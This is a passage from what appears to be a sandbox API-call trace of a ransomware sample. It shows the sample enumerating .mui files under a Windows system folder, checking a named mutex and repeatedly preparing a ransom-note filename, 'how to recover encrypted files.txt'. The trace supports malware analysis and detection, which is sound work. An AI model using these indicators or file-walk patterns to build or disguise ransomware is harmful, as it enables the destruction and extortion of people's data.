lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.019] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.019] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.019] GlobalUnlock (hMem=0x440004) returned 0 [0057.019] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.019] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.019] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.019] GlobalUnlock (hMem=0x440004) returned 0 [0057.019] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.019] GlobalUnlock (hMem=0x44000c) returned 0 [0057.019] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.019] CharLowerBuffW (in: lpsz="msadcer.dll.mui", cchLength=0xf | out: lpsz="msadcer.dll.mui") returned 0xf [0057.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.020] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui", cchWideChar=64, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui ", lpUsedDefaultChar=0x0) returned 64 [0057.020] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0057.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muidc\\en-US\\msadcer.dll.mui ", lpUsedDefaultChar=0x0) returned 4 [0057.020] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0057.020] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.020] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.020] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.020] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.020] GlobalUnlock (hMem=0x44000c) returned 0 [0057.021] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.021] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.021] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.021] GlobalUnlock (hMem=0x44000c) returned 0 [0057.021] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.021] GlobalUnlock (hMem=0x440004) returned 0 [0057.021] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.021] CharLowerBuffW (in: lpsz="msadcfr.dll.mui", cchLength=0xf | out: lpsz="msadcfr.dll.mui") returned 0xf [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.021] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui", cchWideChar=64, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui ", lpUsedDefaultChar=0x0) returned 64 [0057.022] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0057.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muidc\\en-US\\msadcfr.dll.mui ", lpUsedDefaultChar=0x0) returned 4 [0057.022] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0057.022] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.022] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.022] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.022] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.022] GlobalUnlock (hMem=0x440004) returned 0 [0057.022] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.022] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.022] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.022] GlobalUnlock (hMem=0x440004) returned 0 [0057.022] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.022] GlobalUnlock (hMem=0x44000c) returned 0 [0057.022] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.022] CharLowerBuffW (in: lpsz="msadcor.dll.mui", cchLength=0xf | out: lpsz="msadcor.dll.mui") returned 0xf [0057.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui", cchWideChar=64, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui ", lpUsedDefaultChar=0x0) returned 64 [0057.023] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0057.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muidc\\en-US\\msadcor.dll.mui ", lpUsedDefaultChar=0x0) returned 4 [0057.023] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0057.023] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.023] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.023] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.023] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.023] GlobalUnlock (hMem=0x44000c) returned 0 [0057.023] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.023] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.023] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.023] GlobalUnlock (hMem=0x44000c) returned 0 [0057.023] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.024] GlobalUnlock (hMem=0x440004) returned 0 [0057.024] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.024] CharLowerBuffW (in: lpsz="msaddsr.dll.mui", cchLength=0xf | out: lpsz="msaddsr.dll.mui") returned 0xf [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.024] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui", cchWideChar=64, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui ", lpUsedDefaultChar=0x0) returned 64 [0057.024] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0057.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, 